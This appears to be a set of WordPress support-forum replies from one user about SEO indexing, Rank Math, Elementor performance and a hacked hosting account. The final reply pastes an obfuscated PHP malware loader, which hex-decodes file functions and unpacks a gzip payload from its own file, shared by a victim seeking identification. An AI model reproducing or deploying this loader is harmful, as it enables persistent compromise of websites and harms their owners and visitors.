spottykay

Using Focus Keywords or not sometimes depends on your post content and niche.
You have to pick a single or more posts (just note them down) and remove the focus keywords then recheck by searching on Google after 24hours or more depending on when Google crawler chooses to index those updated posts. If it works, you would definitely find it among the search results.

Also make sure your post contents are well optimized and Google isn’t having issues with them.
The first response from Rank math support in this thread will give you more insights about that.

It’s okay to use a child theme, also make sure your site loads fast, and go through the first response by the Support.

Don’t know if this will help you in this case but what worked for me was to remove the focus keywords and optimized the meta title, permalink, and description making sure they follow Google guide lines.

• This reply was modified 1 month, 2 weeks ago by spottykay.

Thanks for the guide,
I finally restored it ??

It’s been resolved. Thanks

Hi, I’m facing this same issue. I was probably thinking of migrating my blog to tagdiv only to see what was mentioned above.

Actually, if you goto google and type:
site:yourdomain.com The title of my article make sure site:yourdomain.com is before the keyword. You will realize the post is actually on google but not showing when it’s about the original keyword.

I have INP issues popping up on my google search console. My single post page is inherited by smartmag theme and it’s php is modified the way I want the single posts to show up but I still don’t know what to do further to optimize or remove the inp issues or just get my posts showing on google.

Others appear properly on google: tags, categories, pages but not Posts. I use rank math.

Good to hear that.

Hello Natalia,
Have you tried disabling other plugins except Elementor and elementskit?

Hi,

I resolved the issues by going to Elementor Settings > Features tab > Looked for Inline Font Icons and set it to Inactive. That fixed the issue.

Thanks for your responsive. I’ve been working on it and I found the elementor with WebGL applied. I am unable to identify the images you mentioned. Can you help me with that?

When I was building the page, I made I converted the images to webp and compressed them but can’t find the two images you mentioned.

I just enabled it on caniondigitals.com. It takes time to load just the first section where css animation was applied. You can check.

I’ve found the solution. The hosting account was compromised and the hacker created Cronjobs. I deleted them from the cpanel and changed the cpanel account password.

Hope this helps anyone facing the same issue.

Thanks Peter,
here’s the code from a file that always recreates once the malware kickstarts operation in the file.

????<?php $s = "he" . "x2bin";$_ = array($s,"666f70656e","667365656b","746d7066696c65","73747265616d5f6765745f6d6574615f64617461",
"667772697465","73747265616d5f6765745f636f6e74656e7473","66636c6f7365","5f5f68616c745f636f6d70696c6572","677a696e666c617465");
$x1=$_[0];$x2=$x1($_[1]);$x3=$x1($_[2]);$x4=$x1($_[3]);$x5=$x1($_[4]);$x6=$x1($_[5]);$x7=$x1($_[6]);$x8=$x1($_[7]);$x9=$x1($_[8]);
$x10=$x1($_[9]);$f=$x2(__FILE__,"r");$x3($f,__COMPILER_HALT_OFFSET__);$t=$x4();$u=$x5($t);$u=$u["uri"];$x6($t,$x10($x7($f)));
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The file name is default.php. I’m sending it if you could have any idea about it comes from or what kind it is. Wordfence gives me a report about something like x2bin….